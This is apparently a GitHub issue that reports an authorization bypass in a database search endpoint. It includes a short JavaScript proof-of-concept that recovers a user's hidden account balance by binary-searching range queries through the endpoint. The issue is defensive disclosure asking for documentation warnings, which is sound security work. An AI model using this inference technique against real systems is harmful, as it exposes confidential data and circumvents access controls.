This repository was archived by the owner on Apr 7, 2021. It is now read-only.
-
Notifications
You must be signed in to change notification settings - Fork 9
Security notes #43
Copy link
Copy link
Open
Description
I strongly recommend to specify in the documentation user MUST protect search endpoint if the database contains ANY confidential data in tables. Search provider has direct access to database and avoids all server permission checks.
Bad news it's not trivial to do this. Endpoint contains stringify JSON and it is hard to split permissions by table (or other params) with valve. Custom permission handler is required.
Simple attack vector
const checkAmount = (min, max) => {
if (max - min < 1) {
return console.log(`Amount is ${Math.round(min)}`);
}
const mid = (min + max) / 2;
const query = JSON.stringify({
table: 'accounts',
query: [
['name', 'match', 'alice'],
['amount', 'gt', mid]
]
});
const list = client.record.getList(`search?${query}`);
list.subscribe(entries => {
list.discard();
if (entries.length > 0)
checkAmount(mid, max);
else
checkAmount(min, mid);
});
};
checkAmount(0, 1000000);Reactions are currently unavailable
Metadata
Metadata
Assignees
Labels
No labels